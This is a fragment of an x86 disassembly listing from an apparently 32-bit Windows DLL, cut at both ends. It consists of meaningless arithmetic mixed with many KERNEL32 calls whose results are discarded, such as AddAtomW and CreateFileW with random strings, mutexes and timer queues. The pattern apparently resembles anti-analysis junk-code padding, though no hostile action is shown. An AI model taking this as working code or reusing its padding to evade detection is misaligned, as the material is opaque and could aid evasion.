lea ecx, [ebp - 0x2c60]
mov dword [ebp - 0x4e44], ecx
movsx edx, word [ebp - 0xed8]
movsx eax, word [ebp - 0xb44]
xor edx, eax
mov word [0x100b7460], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4e48], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9e98], eax
lea ecx, [ebp - 0x9f58]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx edx, word [0x100bafb0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1794], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38a0], eax
mov eax, dword [0x100b958c]
mov ecx, dword [ebp - 0x41dc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x3804], edx
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4e4c], eax
movsx edx, byte [ebp - 0x261]
movsx ecx, byte [ebp - 0x1a1]
shl edx, cl
mov eax, dword [0x100b9654]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x27a]
mov edx, dword [ebp - 0x3f28]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x23f], cl
mov ecx, dword [ebp - 0x46ec]
mov edx, dword [ebp - 0x4000]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x3810], eax
push str.QckPy
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb798], ax
mov dword [0x100bb79c], 0x100b72b2
lea ecx, [ebp - 0x16bc]
mov dword [ebp - 0x4e50], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb7a0], eax
movzx edx, word [0x100bb4cc]
movzx eax, word [ebp - 0xc24]
and edx, eax
mov word [ebp - 0xc48], dx
lea ecx, [ebp - 0x4844]
mov dword [0x100bb7a4], ecx
mov edx, dword [ebp - 0x40b8]
mov al, byte [edx]
mov byte [ebp - 0x30b], al
movzx ecx, word [ebp - 0x16f8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1798], ax
mov edx, dword [0x100b7364]
or edx, dword [ebp - 0x4af8]
mov dword [ebp - 0x2cdc], edx
push 0x1fd0
mov eax, dword [0x100bb528]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4038], eax
mov ecx, dword [0x100bb568]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x284]
xor edx, eax
mov ecx, dword [0x100bb248]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb290], eax
mov edx, dword [ebp - 0x3814]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x374c]
movzx ecx, word [ecx]
cdq
idiv ecx
mov word [ebp - 0xc64], ax
movsx edx, word [ebp - 0xed8]
mov eax, dword [ebp - 0x3fa4]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x38bc]
mov word [eax], dx
mov cl, byte [ebp - 0x87]
mov byte [0x100b84cf], cl
mov edx, dword [ebp - 0x4b70]
mov ax, word [edx]
mov word [ebp - 0x179c], ax
mov ecx, dword [0x100ba7e8]
mov edx, dword [ebp - 0x3b28]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4910], eax
mov ecx, dword [ebp - 0x4d14]
mov edx, dword [ebp - 0x2d10]
and edx, dword [ecx]
mov eax, dword [0x100bb5f8]
mov dword [eax], edx
mov dword [ebp - 0x4e54], 0x100b7227
lea ecx, [ebp - 0xfc4]
mov dword [ebp - 0x4e58], ecx
lea edx, [ebp - 0x2fb]
mov dword [0x100bb7a8], edx
mov eax, dword [ebp - 0x3f78]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3b5c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3b6c]
mov word [ecx], dx
lea edx, [ebp - 0x2e18]
mov dword [ebp - 0x4e5c], edx
mov eax, dword [ebp - 0x49c8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4544]
mov edx, dword [0x100ba1a0]
mov dword [edx], ecx
movzx eax, byte [0x100b7e22]
mov ecx, dword [ebp - 0x4790]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x45ec]
mov byte [ecx], al
mov edx, dword [0x100bae3c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3a70]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x39b0]
mov byte [ecx], al
mov edx, dword [ebp - 0x3b0c]
movsx eax, word [edx]
mov ecx, dword [0x100b9990]
movsx edx, word [ecx]
sub eax, edx
mov word [0x100b7464], ax
mov eax, dword [ebp - 0x3678]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1594]
shl edx, cl
mov word [ebp - 0x1120], dx
mov eax, dword [ebp - 0x3b58]
mov ecx, dword [0x100ba0b8]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2f74], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4e60], eax
mov eax, dword [ebp - 0x4254]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x47d4]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100b9a24]
mov byte [edx], cl
mov eax, dword [ebp - 0x3704]
mov cl, byte [eax]
mov byte [ebp - 0x30c], cl
mov edx, dword [ebp - 0x4858]
mov eax, dword [ebp - 0x2bf4]
add eax, dword [edx]
mov dword [ebp - 0x3fd0], eax
push 0x100bb7ac
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x80
push 5
push 0
push 1
push 0x80000000
push str.ZB0O3nom7LeEsRW00ljMH9JsJ6bSI
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4e64], eax
mov dword [0x100bb7c4], 0x100b99e8
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9eac], eax
movsx ecx, word [ebp - 0x16e4]
movsx edx, word [ebp - 0x1754]
and ecx, edx
mov word [ebp - 0x610], cx
lea eax, [ebp - 0x3748]
mov dword [ebp - 0x4e68], eax
mov ecx, dword [0x100ba6c4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x23f]
xor edx, eax
mov ecx, dword [0x100b9d2c]
mov byte [ecx], dl
lea edx, [ebp - 0x9f70]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb7c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3734], eax
movzx eax, byte [ebp - 0x2ce]
mov ecx, dword [ebp - 0x4518]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 2], al
movzx eax, word [ebp - 0xb28]
movzx ecx, word [ebp - 0x11c0]
xor eax, ecx
mov edx, dword [ebp - 0x3644]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb7cc], eax
mov eax, dword [0x100bb298]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4e6c], eax
push str.L1_Vz4_TFFX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17a0], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9f2c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb7d0], eax
mov ecx, dword [0x100ba0e8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x39a8]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100ba210]
mov word [ecx], dx
lea edx, [ebp - 0x4004]
mov dword [ebp - 0x4e70], edx
mov dword [ebp - 0x4e74], 0x100bad48
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x445c], eax
mov eax, dword [ebp - 0x2f10]
mov dword [0x100bb7d4], eax
mov ecx, dword [0x100bb060]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x2fe]
sar edx, cl
mov eax, dword [ebp - 0x4a20]
mov byte [eax], dl
lea ecx, [ebp - 0xb224]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb7d8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb094], eax
movzx edx, byte [ebp - 0x21]
mov eax, dword [ebp - 0x3620]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100ba5b4]
mov byte [eax], dl
mov dword [ebp - 0x4e78], 0x100ba330
mov ecx, dword [ebp - 0x3068]
and ecx, dword [ebp - 0x3d54]
mov dword [ebp - 0x2fb0], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4e7c], eax
mov dword [0x100bb7dc], 0x100ba730
mov edx, dword [ebp - 0x4780]
mov ax, word [edx]
mov word [ebp - 0x17a4], ax
movsx ecx, byte [ebp - 0x8b]
movsx edx, byte [ebp - 0x194]
xor ecx, edx
mov eax, dword [ebp - 0x43c8]
mov byte [eax], cl
mov ecx, dword [0x100ba3f8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3e10]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b72ee], dl
lea edx, [ebp - 0x2ca]
mov dword [ebp - 0x4e80], edx
mov eax, dword [0x100b9f28]
mov ecx, dword [ebp - 0x3744]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x48b4]
mov dword [edx], ecx
movzx eax, word [ebp - 0x108c]
mov ecx, dword [ebp - 0x4bf0]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [0x100ba52c]
mov word [ecx], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb7e0], eax
mov dword [ebp - 0x4e84], 0x100b72a8
mov edx, dword [ebp - 0x3fe0]
mov eax, dword [0x100b727c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x49c8]
mov dword [ecx], eax
mov dl, byte [0x100b8342]
mov byte [0x100b8516], dl
mov eax, dword [ebp - 0x39b0]
movsx edx, byte [eax]
movsx ecx, byte [0x100b72c3]
sar edx, cl
mov byte [ebp - 0x68], dl
mov eax, dword [ebp - 0x3b90]
mov ecx, dword [ebp - 0x3160]
and ecx, dword [eax]
mov dword [ebp - 0x2b48], ecx
movzx edx, word [ebp - 0x550]
movzx eax, word [0x100ba3f4]
imul edx, eax
mov ecx, dword [0x100ba530]
mov word [ecx], dx
mov edx, dword [ebp - 0x4138]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xed0]
xor eax, ecx
mov edx, dword [ebp - 0x4920]
mov word [edx], ax
mov ax, word [0x100b72c0]
mov word [ebp - 0x17a8], ax
push str.D_WqRs_5R
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17ac], ax
mov ecx, dword [ebp - 0x4924]
movzx edx, byte [ecx]
movzx eax, byte [0x100b718b]
add edx, eax
mov byte [0x100b7192], dl
push 0x6d5
push 0x1078
push 0x1449
push 0x146d
mov ecx, dword [ebp - 0x41f8]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100babf4], eax
mov edx, dword [0x100b997c]
mov eax, dword [ebp - 0x3860]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x48e4], ecx
push 0x172
push 0
push 0x100ba8b8
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4e88], eax
push 0x100bb7e4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x2ba8]
mov dword [ebp - 0x4e8c], edx
movsx eax, byte [ebp - 0x2a9]
mov ecx, dword [ebp - 0x4d18]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b72ef], al
mov edx, dword [ebp - 0x4ac8]
movzx eax, word [edx]
movzx ecx, word [0x100b71f4]
shl eax, cl
mov ecx, dword [ebp - 0x3dc0]
mov word [ecx], ax
push 0
lea edx, [ebp - 0x98d4]
push edx
mov eax, dword [0x100bb80c]
push eax
mov ecx, dword [0x100bb808]
push ecx
mov edx, dword [ebp - 0x4e14]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4e90], eax
lea eax, [ebp - 0x7c4]
mov dword [ebp - 0x4e94], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
movsx ecx, byte [ebp - 0x293]
movsx edx, byte [ebp - 0x304]
or ecx, edx
mov byte [0x100b72ce], cl
movzx eax, word [0x100b9980]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15b8], ax
lea ecx, [ebp - 0xa7]
mov dword [ebp - 0x4e98], ecx
push 0
push 0x100baa48
mov edx, dword [ebp - 0x98e0]
push edx
mov eax, dword [ebp - 0x98e4]
push eax
mov ecx, dword [ebp - 0x3ca4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb810], eax
mov edx, dword [0x100ba190]
xor edx, dword [ebp - 0x2e14]
mov dword [ebp - 0x4774], edx
mov eax, dword [ebp - 0x49f4]
add eax, dword [ebp - 0x38c8]
mov dword [0x100b7468], eax
mov dword [ebp - 0x4e9c], 0x100b82fa
mov ecx, dword [ebp - 0x4758]
movzx edx, word [ecx]
movzx eax, word [0x100bb5b4]
and edx, eax
mov ecx, dword [ebp - 0x46a8]
mov word [ecx], dx
mov dword [0x100bb814], 0x100ba4e0
mov edx, dword [ebp - 0x4370]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x11d]
sar eax, cl
mov byte [ebp - 0x63], al
mov dword [ebp - 0x4ea0], 0x100b7200
mov ecx, dword [0x100bb6c0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4da0]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [0x100bb3c8]
mov word [eax], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb818], eax
mov ecx, dword [ebp - 0x4cd8]
mov edx, dword [0x100babb4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2f78], eax
movsx edx, byte [ebp - 0x3b]
movsx ecx, byte [ebp - 0x104]
shl edx, cl
mov byte [ebp - 0x6c], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4ea4], eax
push 0
push 0x2dde
push 0x2510
push 0x7b31
push 2
mov eax, dword [0x100bb234]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3c2c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb81c], eax
mov ecx, dword [0x100b9938]
mov dx, word [ecx]
mov word [0x100bb820], dx
movzx eax, byte [ebp - 0x2cf]
mov ecx, dword [ebp - 0x386c]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x66], al
mov eax, dword [ebp - 0x4d58]
mov ecx, dword [0x100b722c]
add ecx, dword [eax]
mov dword [ebp - 0x40c4], ecx
movsx edx, byte [ebp - 0x3b]
mov eax, dword [ebp - 0x4188]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100bb060]
mov byte [eax], dl
mov ecx, dword [0x100b9fbc]
movzx edx, word [ecx]
movzx eax, word [0x100bb5d0]
imul edx, eax
mov word [ebp - 0x139c], dx
push str.LqSw_W5RMEpNK.Xd
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17b0], ax
mov cx, word [ebp - 0x16cc]
mov word [ebp - 0x17b4], cx
mov edx, dword [ebp - 0x4680]
mov eax, dword [ebp - 0x2b7c]
mov ecx, dword [edx]
shr eax, cl
mov dword [0x100b73b0], eax
movsx eax, word [ebp - 0x1340]
mov ecx, dword [ebp - 0x4274]
movsx ecx, word [ecx]
cdq
idiv ecx
mov edx, dword [ebp - 0x46d8]
mov word [edx], ax
movzx eax, word [ebp - 0x1414]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba850], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4ea8], eax
lea ecx, [ebp - 0x29f]
mov dword [ebp - 0x4eac], ecx
push str.AEY5IyWq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb824], ax
mov edx, dword [0x100b7358]
mov dword [0x100bb828], edx
movzx eax, word [ebp - 0x1704]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba638], ax
mov ecx, dword [ebp - 0x3f9c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x372c]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x1cd], dl
lea edx, [ebp - 0x1780]
mov dword [ebp - 0x4eb0], edx
lea eax, [ebp - 0x8f8]
mov dword [0x100bb82c], eax
mov ecx, dword [ebp - 0x3d44]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x38d8]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x1ab], dl
push 0x100bb830
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3ab0], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100baf68], eax
mov ecx, dword [ebp - 0x4ca8]
mov edx, dword [0x100b9524]
add edx, dword [ecx]
mov dword [0x100b727c], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4eb4], eax
lea eax, [ebp - 0xb80]
mov dword [ebp - 0x4eb8], eax
mov cl, byte [ebp - 0x1b2]
mov byte [ebp - 0x30d], cl
push 0x100a8df8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb854], ax
mov edx, dword [0x100baaac]
and edx, dword [ebp - 0x2d10]
mov dword [0x100b746c], edx
movzx eax, word [ebp - 0xf60]
movzx ecx, word [ebp - 0x10a8]
or eax, ecx
mov word [ebp - 0x678], ax
mov edx, dword [ebp - 0x4040]
mov eax, dword [ebp - 0x301c]
imul eax, dword [edx]
mov dword [ebp - 0x3790], eax
movsx ecx, word [ebp - 0x12cc]
movsx edx, word [ebp - 0x169c]
xor ecx, edx
mov eax, dword [0x100ba450]
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4ebc], eax
mov ecx, dword [ebp - 0x4720]
mov edx, dword [ebp - 0x4bb8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x30bc], eax
mov dword [ebp - 0x4ec0], 0x100b83c3
mov ecx, dword [ebp - 0x4080]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x27b]
add edx, eax
mov ecx, dword [0x100baab8]
mov byte [ecx], dl
movzx edx, word [0x100bac08]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16a8], ax
movzx eax, word [0x100ba00c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x17b8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb858], eax
mov ecx, dword [ebp - 0x46b4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40c0]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x4b6c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x359c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4314]
mov eax, dword [ebp - 0x467c]
mov dword [eax], edx
push 2
push 0x100b9750
mov ecx, dword [ebp - 0x98e8]
push ecx
mov edx, dword [ebp - 0x98ec]
push edx
mov eax, dword [ebp - 0x3718]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb85c], eax
mov ecx, dword [ebp - 0x4afc]
movzx edx, byte [ecx]
mov eax, dword [0x100bae28]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7302], dl
mov cx, word [ebp - 0xaa4]
mov word [ebp - 0x17bc], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4eb4], eax
movzx edx, word [ebp - 0x1648]
imul eax, edx, 0x415
mov word [ebp - 0x1184], ax
mov ecx, dword [ebp - 0x4770]
mov edx, dword [ecx]
or edx, dword [0x100bad50]
mov dword [0x100b738c], edx
mov eax, dword [ebp - 0x4d18]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x271]
sar edx, cl
mov byte [ebp - 0x7a], dl
mov eax, dword [ebp - 0x3ec8]
mov ecx, dword [ebp - 0x4648]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2fb4], edx
lea eax, [ebp - 0x257]
mov dword [0x100bb860], eax
movzx ecx, word [ebp - 0x1200]
movzx edx, word [ebp - 0x1580]
and ecx, edx
mov eax, dword [ebp - 0x4264]
mov word [eax], cx
movsx ecx, word [ebp - 0x1308]
mov edx, dword [ebp - 0x4b74]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x4020]
mov word [edx], cx
mov eax, dword [ebp - 0x39b0]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x43]
shl edx, cl
mov eax, dword [0x100bab74]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9c14], eax
mov ecx, dword [ebp - 0x3fbc]
mov dx, word [ecx]
mov word [ebp - 0x17c0], dx
mov eax, dword [ebp - 0x4318]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x456c]
mov dword [ebp - 0x3230], ecx
mov dword [0x100bb864], 0x100b7384
push 0x1a74
push 0
lea edx, [ebp - 0x4a30]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba218], eax
movzx eax, byte [ebp - 0x292]
movzx ecx, byte [ebp - 0x26b]
add eax, ecx
mov edx, dword [ebp - 0x3ba8]
mov byte [edx], al
lea eax, [ebp - 0x1194]
mov dword [ebp - 0x4ec4], eax
mov cl, byte [ebp - 0x287]
mov byte [0x100b8517], cl
movzx edx, word [ebp - 0x12c4]
mov eax, dword [ebp - 0x4a50]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x46fc]
mov word [ecx], dx
mov edx, dword [ebp - 0x39e8]
mov eax, dword [edx]
mov dword [ebp - 0x4ec8], eax
mov ecx, dword [ebp - 0x3964]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2bf8]
mov dword [0x100b7458], edx
lea eax, [ebp - 0xa030]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x4424]
movzx edx, byte [ecx]
movzx eax, byte [0x100b712e]
and edx, eax
mov byte [ebp - 0x281], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb868], eax
mov ecx, dword [ebp - 0x3c40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4e80]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x26a], dl
movsx edx, word [ebp - 0xe90]
movsx eax, word [0x100b737c]
sub edx, eax
mov ecx, dword [0x100b9508]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4ecc], eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0x4ed0], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x445c], eax
mov eax, dword [0x100ba520]
mov ecx, dword [eax]
mov dword [ebp - 0x4ed4], ecx
mov edx, dword [ebp - 0x4af4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x54]
shl eax, cl
mov byte [0x100b7303], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb86c], eax
movzx ecx, byte [ebp - 0x2ba]
mov edx, dword [ebp - 0x4610]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x42d4]
mov byte [edx], cl
push 0x192
push 0
lea eax, [ebp - 0x4de4]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100baf7c], eax
mov ecx, dword [ebp - 0x3aac]
mov edx, dword [ebp - 0x48e8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x2f84], eax
mov cx, word [ebp - 0x1218]
mov word [0x100bb870], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4ed8], eax
mov edx, dword [0x100b9938]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x49e0]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x6b0], ax
push 0x100bb874
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3b90]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x37b0]
mov dword [ebp - 0x2e60], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9b20], eax
mov edx, dword [ebp - 0x3db0]
movsx eax, byte [edx]
movsx ecx, byte [0x100b7ec6]
add eax, ecx
mov edx, dword [0x100bae68]
mov byte [edx], al
movzx eax, byte [ebp - 0x296]
mov ecx, dword [ebp - 0x3cfc]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x38fc]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4edc], eax
mov eax, dword [ebp - 0x3eb0]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3eb8]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3e54]
mov word [edx], cx
lea eax, [ebp - 0xea0]
mov dword [0x100bb898], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb89c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3c64], eax
mov ecx, dword [ebp - 0x3ea0]
mov dword [ebp - 0x4ee0], ecx
mov dx, word [0x100ba574]
mov word [ebp - 0x17c4], dx
mov eax, dword [ebp - 0x4754]
mov ecx, dword [ebp - 0x40f8]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [0x100b975c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x28f]
imul edx, ecx, 0x35
mov eax, dword [ebp - 0x3c9c]
mov byte [eax], dl
lea ecx, [ebp - 0x2af]
mov dword [0x100bb8a0], ecx
mov edx, dword [0x100b9db8]
movzx eax, word [edx]
mov ecx, dword [0x100b95f0]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x5f0], ax
lea eax, [ebp - 0x4da8]
mov dword [ebp - 0x4ee4], eax
movzx ecx, word [ebp - 0x15e4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba638], ax
push 0
push 0x10
push 2
push 0
push 2
push 0xc0000000
push str.Qh4msfetG
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4ee8], eax
mov dword [ebp - 0x4eec], 0x19b4
push 0x100bb3cc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100b9fb4]
mov eax, dword [ebp - 0x2ef4]
xor edx, edx
div dword [ecx]
mov dword [0x100ba7dc], eax
push 0
push 0x400
push 4
push 0
push 1
push 0x80000000
push str.x0YM9pV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb8a4], eax
lea edx, [ebp - 0xad5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [ebp - 0x1754]
mov ecx, dword [0x100b9990]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xce8], ax
mov dword [ebp - 0x4ef0], 0x100b8486
push 0
push 0x1a14
push 0x28ce
push 0xa3
mov eax, dword [0x100b970c]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x4ef4], eax
push 0
push 8
push 0
push 0
push 4
push 0xc0000000
push str.Kc2l8kYefnS1j4nyF0sXsFHWaPrTON
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb8a8], eax
mov ecx, dword [ebp - 0x40e8]
mov dl, byte [ecx]
mov byte [0x100b8572], dl
mov eax, dword [0x100ba538]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x262]
or ecx, edx
mov byte [ebp - 0xcf], cl
mov dword [ebp - 0x4ef8], 0x100b9dd4
movzx eax, word [ebp - 0x80c]
mov ecx, dword [0x100ba020]
movzx edx, word [ecx]
and eax, edx
mov word [0x100bac90], ax
mov eax, dword [ebp - 0x37f8]
movsx ecx, word [eax]
movsx edx, word [0x100b9888]
sub ecx, edx
mov eax, dword [ebp - 0x373c]
mov word [eax], cx
push str.OnC6bxF_TdDCrf
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17c8], ax
lea ecx, [ebp - 0x2f28]
mov dword [ebp - 0x4efc], ecx
mov edx, dword [ebp - 0x47fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x44fc]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b82e3], al
lea edx, [ebp - 0xb104]
